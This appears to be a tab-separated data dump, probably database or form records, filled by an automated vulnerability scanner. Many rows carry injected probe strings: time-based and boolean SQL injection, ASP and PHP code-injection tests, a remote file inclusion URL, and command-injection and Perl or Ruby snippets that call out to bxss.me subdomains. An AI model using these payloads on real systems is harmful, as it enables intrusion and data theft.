1	1	1	1	response.write(9136434*9148666)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	xAa9FdiT: EqwWOEa0	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	rpJNtdDf	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"""+response.write(9957345*9931685)+"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	h3Nb2Q5U	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	'+response.write(9957345*9931685)+'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	${@print(md5(31337))}	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	response.write(9957345*9931685)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	'+response.write(9387852*9743236)+'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	response.write(9387852*9743236)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	<!--	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	<!--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	<!--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"""+response.write(9686147*9147768)+"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	response.write(9686147*9147768)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	'+response.write(9686147*9147768)+'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	<!--	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	<!--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	19449338	1	1	1	1	1	1
1	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1FP636F7N0	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	1348GM9IM0	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	19EPLDPXH0	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1KM239G6R0	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	1PRNESIHZ0	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1KROSDY8A0	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	1PMM5N4Z80	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	1BI4D6Y2I70	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102'"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"&(nslookup -q=cname hitojsqefotcbe7d03.bxss.me||curl hitojsqefotcbe7d03.bxss.me)&'\""`0&(nslookup -q=cname hitojsqefotcbe7d03.bxss.me||curl hitojsqefotcbe7d03.bxss.me)&`'"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102zOvALgvv') OR 590=(SELECT 590 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102*if(now()=sysdate(),sleep(15),0)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"-1"" OR 5*5=25 or ""jkT5NTFT""="""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1' OR 5*5=26 or 'kuUvue8i'='	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	941020'XOR(94102*if(now()=sysdate(),sleep(15),0))XOR'Z	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"-1"" OR 5*5=26 or ""jkT5NTFT""="""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1' OR 5*5=25 or 'kuUvue8i'='	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1 OR 677=(SELECT 677 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"941020""XOR(94102*if(now()=sysdate(),sleep(15),0))XOR""Z"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU0""XOR(if(now()=sysdate(),sleep(15),0))XOR""Z"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1' OR 5*5=25 or 'PVK7emFj'='	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1' OR 5*5=26 -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1' OR 5*5=25 -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1 OR 5*5=26 -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1 OR 5*5=25 -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMUgEh8iGhQ	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	@@i4kIC	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1����%2527%2522\'\"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	'.gethostbyname(lc('hitrk'.'xztbppcpe4d45.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(80).chr(116).chr(86).'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1'"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1 OR 643=(SELECT 643 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	15kUDUbH7'; waitfor delay '0:0:15' -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1); waitfor delay '0:0:15' -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1; waitfor delay '0:0:15' -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"10""XOR(1*if(now()=sysdate(),sleep(15),0))XOR""Z"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	@@x8Nlo	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1); waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"-1"" OR 5*5=26 or ""bHiq1XOz""="""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1' OR 5*5=26 or 'AMJ34MZH'='	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"-1"" OR 5*5=25 -- "	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1' OR 5*5=25 -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1 OR 5*5=26	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1 OR 5*5=26 -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1 OR 5*5=25 -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	(select 198766*667891 from DUAL)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102cCoOo5Vo')) OR 200=(SELECT 200 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	9410246FScnUP'; waitfor delay '0:0:15' -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	(select 198766*667891 from DUAL)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	@@XiX57	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU����%2527%2522\'\"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	if(now()=sysdate(),sleep(15),0)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	171HAi0ZL') OR 815=(SELECT 815 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1dHEGF7fP' OR 513=(SELECT 513 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"10""XOR(1*if(now()=sysdate(),sleep(15),0))XOR""Z"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	11NPWF7hn	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU����%2527%2522\'\"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU'"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU5dtL5nDE') OR 678=(SELECT 678 FROM PG_SLEEP(15))--	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1) OR 424=(SELECT 424 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1 waitfor delay '0:0:15' -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"-1"" OR 5*5=25 or ""LQcSdqnV""="""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1' OR 5*5=26 or 'w6K6Dkt4'='	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"-1"" OR 5*5=26 -- "	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"-1"" OR 5*5=25 -- "	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1 OR 5*5=26 -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1 OR 5*5=25 -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1axaQx5CQ	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	(select 198766*667891)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1OIxUgYOA'; waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1 waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1; waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMUJkWOa1Gk' OR 185=(SELECT 185 FROM PG_SLEEP(15))--	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU'&&sleep(27*1000)*uocxbz&&'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102&n982062=v952173	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"""+""A"".concat(70-3).concat(22*4).concat(113).concat(76).concat(97).concat(90)+(require""socket""
Socket.gethostbyname(""hitjl""+""ocxuksafd5b8a.bxss.me."")[3].to_s)+"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	http://bxss.me/t/fit.txt%3F.jpg	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'A'.concat(70-3).concat(22*4).concat(111).concat(86).concat(115).concat(71)+(require'socket'
Socket.gethostbyname('hityh'+'lhkgrjocc3877.bxss.me.')[3].to_s)"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
